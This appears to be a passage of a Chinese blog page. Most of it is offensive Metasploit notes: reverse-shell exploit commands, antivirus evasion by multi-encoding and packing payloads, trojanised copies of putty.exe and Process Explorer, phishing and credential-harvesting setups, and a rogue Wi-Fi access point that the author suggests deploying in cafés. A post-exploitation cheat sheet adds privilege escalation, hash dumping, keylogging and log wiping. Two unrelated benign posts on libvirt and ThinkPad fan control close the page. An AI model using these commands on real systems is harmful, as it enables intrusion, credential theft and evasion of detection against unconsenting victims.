5、升级command shell

例子:

msfconsole
msf> search ms08_067
msf> use windows/smb/ms08_067_netapi
set PAYLOAD windows/shell/reverse_tcp
set TARGET 3
setg LHOST 192.168.1.111
setg LPORT 8080
exploit –z  #后台运行,如果此处未使用-z参数,后面可以按CTRL-Z转到后台
sessions –u 1  #升级shell,必须前面使用setg设定
sessions –i 2

6、使用Railgun操作windows APIs

例子:

meterpreter> irb
>>client.railgun.user32.MessageBoxA(o,”hello”,”world”,”MB_OK”)

在目标机器上会弹出一个标题栏为world和内容为hello的窗口

七.避开杀软

1、使用msfpayload创建可执行后门:

例子:

msfpayload windows/shell_reverse_tcp 0  #查看选项
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=31337 X > /var/www/payload1.exe

然后本机监听端口

msf> use exploit/multi/handler
show options
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.1.111
set LPORT 31337
exploit

2、过杀软---使用msfencode编码后门:

msfencode –l #列出可用编码器

例子:

msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=31337 R |msfencode –e x86/shikata_ga_nai –t exe > /var/www/payload2.exe

使用 R参数作为raw输出至管道,再经过msfencode处理,最后导出。

3、多次编码:

例子:

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.111 LPORT=31337 R | \
    msfencode –e x86/shikata_ga_nai –c 5 –t raw | \
    msfencode –e x86/alpha_upper –c 2 –t raw | \
    msfencode –e x86/shikata_ga_nai –c 5 –t raw | \
    msfencode –e x86/countdown –c 5 –t exe –o /var/www/payload3.exe

简单编码被杀机会很大,使用多次编码效果更好,这里一共使用了17次循环编码。

(题外:经测试,1:使用此命令生成的后门也被MSE杀到;2:未编码的后门或编码次数较少的后门可以直接被秒杀;3:windows/x64/meterpreter/reverse_tcp生成的后门未经任何处理仍然不被杀,看来杀毒软件傻逼了;4:x86编码器编码的后门在64位机器上无法执行;5:360有个沙箱功能,后门文件右键选择“在360隔离沙箱中运行”,msf照样可以连接并操作,看来隔离沙箱功能有限。)

4、自定义可执行程序模板:

msfencode默认使用data/templates/templates.exe(msf v4在templates目录下有针对不同平台的不同模板)作为可执行程序的模板,杀毒厂商也不是傻逼,所以这里最好使用自定义模板,如:

wget http://download.sysinternals.com/Files/ProcessExplorer.zip
cd work
unzip ProcessExplorer.zip
cd ..
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=8080 R | msfencode –t exe –x work/procexp.exe –o /var/www/pe_backdoor.exe –e x86/shikata_ga_nai –c 5

在目标机器上运行,然后本地使用msfcli监听端口等待反弹连接:

msfcli exploit/multi/handler PAYLOAD=windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=8080 E

5、暗度陈仓—猥琐执行payload:

绑定payload至一个可执行文件,让目标不知不觉间中招,以putty.exe为例:

msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=8080 R | msfencode –t exe –x putty.exe -o /var/www/putty_backdoor.exe –e x86/shikata_ga_nai –k –c 5

假如选择一个GUI界面的程序作为绑定目标并且不使用-k选项,则目标执行此程序的时候不会弹出cmd窗口,-k选项的作用是payload独立于模板软件的进程运行。

6、加壳:

msfencode部分编码器会增加程序体积,这时可使用壳(packer)来压缩程序,“带套之后 更保险”,例如UPX :

apt-get install upx

最新版可到sf.net下载

使用方法:

upx -5 /var/www/payload3.exe

还有另外一个工具msfvenom结合了msfpayload和msfencode的功能,使用起来更省心,亲,一定要试试哦!过杀软总结起来就是多次编码和使用多种壳,终极大法就是使用自己编写的后门(市面上没有,被杀几率更低)。

八.使用用户端攻击方式(client-side attacks)

1、组合型攻击

主要指利用多种途径包括社会工程学方式攻击目标机器上安装的带有漏洞的程序如浏览 器,pdf阅读器,office软件等,最终获取系统权限。

基于浏览器的攻击:

例子:

msf> use windows/browser/ms10_002_aurora
set payload windows/meterpreter/reverse_tcp
set SRVPORT 80
set URIPATH /
set LHOST 192.168.1.111
set LPORT 443
exploit –z
sessions –i 1
run migrate

或者:

msf> use windows/browser/ms10_002_aurora
show advanced
set ReverseConnectRetries 10
set AutoRunScript migrate –f
exploit
use priv
getsystem

2、文件格式exploit

利用文件格式的漏洞达到溢出的目的,比如PDF,word,图片等。

例子:

msf> use windows/fileformat/ms11_006_createsizeddibsection
info
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.111
set LPORT 443
exploit

此时会生成一个msf.doc的word文档,在目标机器上打开此文档,然后本机监听端口等待反弹连接:

use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.111
set LPORT 443
exploit –j

九.MSF 附加模块

包括端口扫描,服务探测,弱口令探测,fuzzer,sql注射等。附加模块没有payload。 模块保存在/opt/framework3/msf3/modules/auxiliary/目录中的各个子目录下。 可用命令查看全部可用附加模块:msf> show auxiliary

例子: o``` msf> use scanner/http/webdav_scanner info show options set RHOSTS 192.168.1.141,192.168.1.142,192.168.2.222 run


搜索所有http相关扫描模块:

`search scanner/http`


附加模块深层剖析:

cd /opt/framework3/msf3/modules/auxiliary/admin/ wget http://carnal0wnage.googlecode.com/svn/trunk/msf3/modules/auxiliary/admin/random/foursqueare.rb


代码分析:

```ruby
require ‘msf/core’
class Metasploit3 < Msf::Auxiliary #导入Auxiliaary类
#Exploit mixins should be called first
include Msf::Exploit::Remote::HttpClient #导入HTTPClient方法
include Msf::Auxiliary::Report

def initialize

super(
‘Name’ => ‘Foursquare Location Poster’,
‘Version’ => ‘$Revision:$’,
‘Description’ => ‘F*ck with Foursquare,be anywhere you want to be by venue id’,
‘Author’ => [‘CG’],
‘License’ => MSF_LICENSE,
‘References’ =>
[
[‘URL’,’http://groups.google.com/group/foursquare-api’],
[‘URL’,’http://www.mikekey.com/im-a-foursquare-cheater/’],
]
#todo pass in geocoords instead of venueid,create a venueid, other tom foolery

register_options(
[
Opt::RHOST(‘api.foursquare.com’),
OptString.new(‘VENUEID’,[true,’foursquare venueid’,’185675’]),
OptString.new(‘USERNAME’,[true,’foursquare username’,’username’]),
OptString.new(‘PASSWORD’,[true,’foursquare password’,’password’]),
],self.class)
end

def run
begin
user = datastore[‘USERNAME’]
pass = datasore[‘PASSWORD’]
venid = datastore[‘VENUEID’]
user_pass = Rex::Text.encode_base64(user + “:” + pass)
decode = Rex::Text.decode_base64(user_pass)
postrequest = “twitter=1\n” #add facebook=1 if you want facebook
print_status(“Base64 Encode User/Pass: #{user_pass}”) #debug
print_status(“Base64 Decode User/Pass: #{decode}”)  #debug

res = send_request_cgi({
‘uri’ => “/v1/checkin?vid=#{venid}”,
‘version’ => “1.1”,
‘method’ => ‘POST’,
‘data’ => postrequest,
‘headers’ =>
{
‘Authorization’ => “Basic #{user_pass}”,
‘Proxy-Connection’ => “Keep-Alive”,
}
},25)

print_status(“#{res}”)
end

rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE =>e
pus e.message
end
end

ruby白痴一个,代码我也没看懂,不解释了

如何使用:

msf> search foursquare
msf> use admin/foursquare
set VENUEID 2584421
set USERNAME msf@elwood.net
set PASSWORD ilovemetasploit
run

十.社会工程学工具集(SET)

主要功能:hacking the human mind。

1、SET基本配置:

SET位于/pentest/exploits/set/目录

更新:

cd /pentest/exploits/set/
svn update

配置文件config/set_config,当使用基于web的攻击方式时可以将email功能打开:

vi config/set_config:
METASPLOIT_PATH=/opt/framework3/msf3
WEBATTACK_EMAIL=ON

使用Java applet attack进行攻击的时候默认使用Microsoft作为发布者名称,如果需要自定义则需要安装JDK并打开配置项:

SELF_SIGNED_APPLET=ON

SET默认打开AUTO_DETECT项,自动探测本机IP并用于攻击中的各项配置。如果本机是多网卡需要手动指定IP,则需将此项关闭:

AUTO_DETECT=OFF

SET默认使用内建的python提供的web server供使用,如需使用apache作为服务则需要本机安装apache并打开配置项:

APACHE_SERVER=ON

2、网络钓鱼攻击:

Spear-Phishing Attack Vector,利用文件格式漏洞(如PDF)等生成后门并通过email(GMAIL,SENDMAIL,)向目标发送带后门附件的电子邮件,诱使目标打开附件激活后门。

例子:

./set
此时选择菜单1.Spear-Phishing Attack Vectors
继续选择:1.Perform a Mass Email Attack
选择exploit:8.Adobe Collab.collectEmailInfo Buffer Overflow
选择payload:4.Windows Reverse TCP Shell
选择是否更改文件名:1.Keep the filename
选择发送邮件方式1.Email Attack Single Email Address
选择邮件模板1.Pre-Defined Template
5.Status Report
输入收件方email地址:webmanager@exmaple.com
选择发件方式:1.Use a GMAIL Account for your email attack
输入发件gmail和密码
选择是否立即监听端口等待连接:yes

此时SET会使用刚才的设定全自动监听指定端口。

3、WEB方式攻击:

SET可以克隆一个网站并植入后门以此迷惑目标打开此网站并中招。

  • Java Applet方式:最成功的方式之一,并不是利用java的漏洞,而是当目标浏览含后门的仿冒站点时会被询问是否允许执行web中的java applet,一旦点击允许则payload开始运行,目标将被重定向到真实的网站。
  • 用户端(Client-side)web exploit方式:利用用户端存在的软件漏洞,一般使用0day进行攻击的效果最好。
  • 账号密码获取(Username and Password Harvesting):通过克隆一个目标站并诱使攻击目标登陆,截获其账号密码。例如截获GMAIL密码。
  • 标签页绑架(Tabnabbing):当目标打开多个标签页浏览网站并切换标签页时,网站侦测到目标的行为并显示让目标等待的信息,恰好目标打开了被绑架的标签页并要求在相似程度惊人的网站里输入登陆凭据,当目标输入之后登陆信息即被截获,同时被重定向到真实网站。
  • 中间人攻击(Man-Left-in-the-Middle):此方式使用已经被攻陷的网站的HTTP请求或者网站的XSS漏洞让用户的登陆信息发送至攻击者的HTTP服务器。如果你发现了一个网站的XSS漏洞,可以利用此漏洞构造一个url发送给目标诱使其打开并登陆以截获登陆信息。
  • Web Jacking:当目标打开我们的网站时会有一个链接显示为正确的web地址,此时若目标打开此仿冒链接会被定向到我们的仿冒网站,其登陆信息会被截获。
  • 混合模式(multi-attack):可同时使用以上多种攻击手段以提高成功率。
  • 介质感染攻击(Infectious Media Generator):可以让你生成一张光盘或者u盘,里面包含autorun.inf来运行指定的后门文件或者file-format漏洞文件。
  • 迷你USB人机接口设备(Teensy USB HID):当电脑插入USB设备且autorun.inf被禁用时,可使用此方法将USB设备模拟成一个键盘或鼠标设备,进而截获目标机器的击键记录。

SET其他特殊功能:

包括SET交互式shell,可用来替代meterpreter;远程管理工具(RATTE);HTTP隧道,当目标主机只开放HTTP端口对外放行时可通过此功能与主机进行通信;WEB-GUI,包含了常用攻击和无线攻击向导,输入./set-web即可运行。

(SET新版本变动较大,请自行摸索。)

十一.FAST-TRACK

Fast-Track和SET一样都是python编写的,同样是使用MSF提供的payload以及用户端攻击向导等,作为对MSF的补充,它提供了如MSSQL攻击,更多的exploit,浏览器攻击向导等。fasttrack位于/pentest/exploits/fasttrack/。

交互式模式:./fast-track.py -i

命令行模式:./fast-track.py -c

Web界面模式:./fast-track.py -g

1、MSSQL工具:

MSSQL注入漏洞攻击:

攻击时你只需要输入有注入漏洞的url地址,地址里面用INJECTHERE标识可注入字段,如http://example.com/show.asp?id=INJECTHERE&date=2012,fast-track会全自动注入,一旦成功会给你返回一个cmd shell。 注入也支持POST参数,如果是POST的话更加简单,只需要你输入url地址,fast-track会自动判断并尝试进行注入。

SQL暴力破解:另外一个实用的功能是暴力破解器(MSSQL Bruter),可以寻找mssql弱口令,一旦获取到一个sa权限的访问权限,将自动返回一个shell。

SQL注入批量扫描器(SQLPwnage):此功能可扫描指定网段的所有打开80端口的主机,并扫描是否存在sql注入点,一旦发现注入点将自动尝试攻击并通过xp_cmdshell获取系统权限。

2、Binary-HEX 转换器:

当你已经进入一个系统且需要上传可执行文件上去,就可以使用这个工具将可执行的二 进制文件转换为HEX十六进制编码,然后复制粘贴过去即可。

3、批量用户端攻击:

和浏览器攻击差不多,但是增加了对目标的ARP缓冲区和DNS感染(只能是在测试者 和目标处于同一网段的情况下),以及MSF里面没有的浏览器溢出exploit。当目标浏览 恶意网站的时候,fast-track尝试着使用所有的exp对目标机器进行溢出,一旦某个exp 起作用将获取到目标机器的控制权限。

(新版本fasttrack中还加入了Autopwn Automation、Nmap Scripting Engine、Exploits、Payload Generator等新功能。)

脚本化的工具有时确实能减少很多工作时间,但是不能完全依赖于这类自动程度很高的工具,特别是在用这些工具搞不定目标的时候,手工测试的能力往往才是王道,细节决定成败。

十二.KARMERASPLOIT

Karmetasploit = Karma + Metasploit,也可以说成它是MSF的KARMA实现。

Karma和MSF一样也是使用ruby语言编写的,其功能是建立一个虚假的无线接入点,等待目标连接上钩。与MSF结合可实现更强大的功能。Karmetasploit集成了DNS,POP3,IMAP4,SMTP,FTP,SMB,HTTP等服务用于攻击,模块位于modules/auxiliary/server目录下。

基本配置:

需要的配置不多,首先需要配置一个DHCP服务为目标提供动态IP分配,配置文件:

option domain-name-servers 10.0.0.1;
default-lease-time 60;
max-lease-time 72;
ddns-update-style none;
authoritative;
log-facility local7;
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.100 10.0.0.254;
option routers 10.0.0.1;
option domain-name-servers 10.0.0.1;
}

将配置文件保存在/etc/dhcp3/dhcpd.conf

下一步下载karma msf脚本:

wget http://www.offensive-security.com/downloads/karma.rc
#将网卡激活为监听模式:
airmon-ng start wlan0
#创建伪装接入点,-P 可被扫描到,-C 信号发射速率,-e 接入点名称(需要具有欺骗性),-v 指定网卡,mon0为上一步完成后生成的:
airbase-ng -P -C 30 -e "China-Net-Free" -v mon0
#此时会生成一个名为at0的新网卡接口。
#接着打开DHCP服务:
ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
#检查是否成功启动:
ps aux|grep dhcpd
tail -f /var/log/messages

#下一步加载karma脚本:
msf> resource karma.rc

等待收获:

当对方打开邮件客户端并登陆收取邮件,那么他的账户密码将被截获,因为他所连接的DNS和POP3都是虚假的。 当对方打开浏览器准备浏览网页时karma开始截取cookie,建立虚假email,DNS等服务,加载exploits来对付客户端浏览器,如果走运的话可以获取到shell。 总结:建议这招可以拿到麦当劳,星巴克用,效果更好。

十三.构建自己的模块,编写自己的exploit,meterpreter脚本编程

这三章留着后面看,需要有ruby基础等编程基础。

十四.渗透实战演习

首先需要下载并安装一个专门用来练习渗透的虚拟机Metasploitable:

http://updates.metasploit.com/data/Metasploitable.zip.torrent

虚拟机IP:172.16.32.162 用户名密码:msfadmin

WINXP:172.16.32.131 开放80端口 有防火墙

情报收集:

nmap -sT -P0 172.16.32.131

msfconsole:

cd /opt/framework3/msf3/
msfconsole
msf> use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 172.15.32.129
set lport 443
load auto_add_route
exploit -j

run getgui -e -f 8080
shell
net user msf msf /add
net localgroup administrators msf /add
upload nmap.exe
nmap.exe -sT -A -P0 172.16.32.162
msf> use auxiliary/scanner/ftp/ftp_version
set RHOSTS 172.16.32.162
run

msf> use auxiliary/scanner/smtp/smtp_version
set RHOSTS  172.16.32.162
run

search tomcat_mgr_login
set rhosts 172.16.32.162
set threads 50
set rport 8180
set verbose false
run

use multi/http/tomcat_mgr_deploy
set password tomcat
set username tomcat
set rhost 172.16.32.162
set lport 9999
set rport 8180
set payload linux/x86/shell_bind_tcp
exploit

search distcc_exec
set payload linux/x86/shell_reverse_tcp
set lhost 172.16.32.129
set rhost 172.16.32.162
show payloads
set payload cmd/unix/reverse
exploit

十五.常用命令备忘

MSFconsole Commands

  • show exploits 查看所有exploit
  • show payloads 查看所有payload
  • show auxiliary 查看所有auxiliary
  • search name 搜索exploit等
  • info 查看加载模块的信息
  • use name 加载模块
  • LHOST 本机IP
  • RHOST 目标IP
  • set function 设置选项值
  • setg function 全局设置
  • show options 查看选项
  • show targets 查看exp可选的平台
  • set target num 设置exp作用平台
  • set payload payload 设置payload
  • show advanced 查看高级选项
  • set autorunscript migrate -f 设置自动执行指令
  • check 测试是否可利用
  • exploit 执行exp或模块
  • exploit -j 作为后台执行
  • exploit -z 成功后不立即打开session
  • exploit -e encoder 指定encoder
  • exploit -h 查看帮助信息
  • sessions -l -v 列出可用sessions详细信息
  • sessions -s script 在指定session执行脚本
  • sessions -K 结束session
  • sessions -c cmd 执行指定命令
  • sessions -u sessionID 升级shell
  • db_create name 创建数据库
  • db_connect name 连接数据库
  • db_nmap nmap扫描并导入结果
  • db_autopwn -h 查看autopwn帮助
  • db_autopwn -p -r -e 基于端口,反弹shell
  • db_destroy 删除数据库

Meterpreter Commands

  • help 查看帮助
  • run scriptname 运行脚本
  • sysinfo 系统基本信息
  • ls 列目录
  • use priv 运行提权组件
  • ps 列进程
  • migrate PID PID迁移
  • use incognito token窃取
  • list_tokens -u 查看可用用户token
  • list_tokens -g 查看可用组token
  • impersonate_token DOMAIN_NAME\USERNAME 模仿token
  • steal_token PID 窃取PID所属token并模仿
  • drop_token 停止模仿token
  • getsystem 获取SYSTEM权限
  • shell 运行shell
  • execute -f cmd.exe -i 交互式运行cmd
  • execute -f cmd.exe -i -t 使用可用token运行
  • execute -f cmd.exe -i -H -t 同上,同时隐藏进程
  • rev2self 返回至初始用户
  • reg command 修改注册表
  • setkesktop number 切换至另一已登录用户屏幕
  • screenshot 截屏
  • upload file 上传文件
  • download file 下载文件
  • keyscan_start 开始截取击键记录
  • keyscan_stop 停止截取击键记录
  • getprivs 尽可能提升权限
  • uictl enable keyboard/mouse 获取键盘或鼠标的控制权
  • background 将当前meterpreter shell转入后台
  • hashdump 导出所有用户hash
  • use sniffer 加载嗅探模块
  • sniffer_interfaces 查看可用网卡接口
  • sniffer_dump interfaceID pcapname 开始嗅探
  • sniffer_start interfaceID packet-buffer 指定buffer范围嗅探
  • sniffer_stats interfaceID 抓取统计信息
  • sniffer_stop interfaceID 停止嗅探
  • add_user username password -h ip 添加用户
  • add_group_user "Domain Admins" username -h ip 添加用户至管理组
  • clearev 清空日志
  • timestomp 改变文件属性如创建时间等
  • reboot 重启

MSFpayload Commands

  • msfpayload -h 查看帮助
  • msfpayload windows/meterpreter/bind_tcp 0 查看指定payload可用选项
  • msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 X > payload.exe 生成payload.exe
  • msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 R > payload.raw 保存为RAW格式,可用于msfencode
  • msfpayload windows/meterpreter/bind_tcp LPORT=443 C > payload.c 保存为C格式
  • msfpayload windows/meterpreter/bind_tcp LPORT=443 J > payload.java 保存为java格式

MSFencode Commands

  • msfencode -h 查看帮助
  • msfencode -l 查看可用encoder
  • msfencode -t (c,elf.exe,java.js_le,js_be,perl,raw,ruby,vba,vbs,loop-vbs,asp,war,macho) 以指定格式显示编码后的buffer
  • msfencode -i payload.raw -o encoded_payload.exe -e x86/shikata_ga_nai -c 5 -t exe 生成编码后的exe
  • msfencode -i payload.raw BufferRegister=ESI -e x86/alpha_mixed -t c 生成纯字符格式C类型shellcode
  • msfpayload windows/meterpreter/bind_tcp LPORT=443 R |
    msfencode -e x86/countdown -c 5 -t raw |
    msfencode -e x86/shikata_ga_nai -c 5 -t exe -o multi-encoded.exe 多编码器结合,多次编码

MSFcli Commands

  • msfcli | grep exploit 只显示exploit
  • msfcli | grep exploit/windows 只显示windows exploit
  • msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 RHOST=172.16.32.26 E 针对指定IP加载指定exp并设定payload

MSF,Ninja,Fu

* msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 R | msfencode -x calc.exe -k -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe 使用calc.exe作为模板,生成经过编码的后门
* msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 R | msfencode -x calc,exe -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe 与上面差不多,只是执行的时候不依赖于生成的可执行文件,且不会有任何提示信息
* msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe && msfcli multi/hanler PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 E 生成编码后的payload并开始监听本机端口

MSFvenom

  • msfvenom --payload 自动生成payload

Meterpreter Post Exploitation Commands

提权一般步骤

meterpreter> use priv
meterpreter> getsystem
meterpreter> ps 
meterpreter> steal_token 1784
meterpreter> shell
net user msf msf /add /DOMAIN
net group "Domain Admins" msf /add /DOMAIN

获取hash一般步骤

meterpreter> use priv
meterpreter> getsystem
meterpreter> hashdump

如果是在win2008系统上:

meterpreter> run migrate
meterpreter> run killav
meterpreter> ps 
meterpreter> migrate 1436
meterpreter> keyscan_start
meterpreter> keyscan_dump
meterpreter> keyscan_stop

使用Incognito提权

meterpreter> use incognito
meterpreter> list_tokens -u
meterpreter> use priv
meterpreter> getsystem
meterpreter> list_tokens -u
meterpreter> impersonate_token IHAZSECURITY\\Administrator

查看保护机制并禁用之

meterpreter> run getcountermeasure
meterpreter> run getcountermeasure -h
meterpreter> run getcountermeasure -d -k
  • meterpreter> run checkvm 检查是否是虚拟机
  • meterpreter> shell 转入命令行
  • meterpreter> run vnc 远程VNC控制
  • meterpreter> background 转入后台
  • meterpreter> run post/windows/escalate/bypassuac 执行Bypass UAC
  • meterpreter> run post/osx/gather/hashdump 在OS X系统上dump hash
  • meterpreter> run post/linux/gather/hashdump 在Linux 系统上dump hash

· 阅读需 3 分钟

简单演示如何在libvirt中创建storage pool

libvirt提供了存储管理的功能,可以管理的存储类型有 目录 lvm逻辑卷 磁盘 iscsi存储 scsi存储 mpath netfs等,这里以最基本的目录类型为例

基本概念:

在libvirt里保存虚拟机磁盘镜像的目录或设备称作存储池 即pool ,每个虚拟机所使用的虚拟磁盘镜像称作卷 即vol ,vol是存储在pool里面的。

我们可以使用命令行的virsh工具来管理,pool有两种基本状态:活动和非活动,查看当前存储池的状态

virsh # pool-list --all 
Name State Autostart 
-----------------------------------------
default inactive yes 
disk active yes

新建一个基于目录的存储池bigpool 存储路径为 /bigpool

virsh # pool-define-as bigpool dir - - - - /bigpool
Pool bigpool defined

这时候pool仅仅是定义出来了,可以用pool-list --all查看到。但是相应的目录是不存在的,接着需要建立这个pool

virsh # pool-build bigpool
Pool bigpool built

这个时候才是真正的建立起这个pool,libvirt会自动创建/bigpool目录,并设置相应的权限,如果你有用selinux作为libvirt的安全措施的话它还能自动设置上下文

# ls -Zld /bigpool/
drwx------ 2 ? root root 4096 Jul 13 12:54 /bigpool/

我这里由于没有使用selinux所以没有上下文的

pool创建好之后就可以启动了

virsh # pool-start bigpool
Pool bigpool started

virsh # pool-list --all 
Name State Autostart 
-----------------------------------------
bigpool active no 
default inactive yes 
disk active yes

还可以设置pool为自动启动

virsh # pool-autostart bigpool
Pool bigpool marked as autostarted

virsh # pool-list --all 
Name State Autostart 
-----------------------------------------
bigpool active yes 
default inactive yes 
disk active yes

基于目录的一个存储池就这样建立完成了,是不是很简单?

· 阅读需 3 分钟

笔记本长期处于高强度高负荷工作状态,手放到出风口的时候差点被烫伤,再不调整下恐怕到了夏天是彻底扛不住了。于是网上搜了下资料,还好thinkpad一直都有黑客在用...

还好thinkpad一直都有黑客在用,因此也不缺乏内核级别的支持,下面记录下配置方法,怕今后再要捣鼓的时候忘记。首先thinkpad有一个专用的acpi驱动叫thinkpad_acpi的内核模块,这个在centos里面已经自带了,它的项目地址http://ibm-acpi.sf.net/。上面有列出支持哪些哪些型号哪些功能。

你可以通过lsmod命令查看是否已经加载了此模块:

lsmod|grep think

这个模块加载之后可以通过proc内的文件来查看风扇的运行状态:

cat /proc/acpi/ibm/fan

如果有,那么进入下一步,添加模块的加载选项,创建模块配置文件:

[root@server ~]# vi /etc/modprobe.d/thinkpad_acpi.conf
[root@server ~]# cat /etc/modprobe.d/thinkpad_acpi.conf
options thinkpad_acpi experimental=1 fan_control=1

上面的配置将打开自定义风扇转速的开关。

这个时候需要重新加载模块:

modprobe -r thinkpad_acpi && modprobe thinkpad_acpi

然后再查看下proc里面fan文件的状态:

cat /proc/acpi/ibm/fan

此时你会发现,信息有变化。

[root@server ~]# cat /proc/acpi/ibm/fan
status: enabled
speed: 5485
level: auto
commands: level <level> (<level> is 0-7, auto, disengaged, full-speed)
commands: enable, disable
commands: watchdog <timeout> (<timeout> is 0 (off), 1-120 (seconds))

然后我们就可以通过command来控制风扇的转速啦,auto表示自动,disengaged和full-speed一个效果,也可以设置0-7的等级,0表示停止,感兴趣可以试试,反正我不敢试,

echo "level  full-speed"  > /proc/acpi/ibm/fan

注意level和full-speed之间只有一个空格..

再查看fan文件的状态,或者听听风扇转动的声音,你就会发现有明显的变化了,如果模块没有添加fan_control=1的参数的话往/proc/acpi/ibm/fan里面echo信息是不会成功的,会报如下错误:

[root@server ~]# echo "level 5" > /proc/acpi/ibm/fan
bash: echo: write error: Invalid argument

总结:风扇使劲转起来了,再也不用担心手被烫伤了!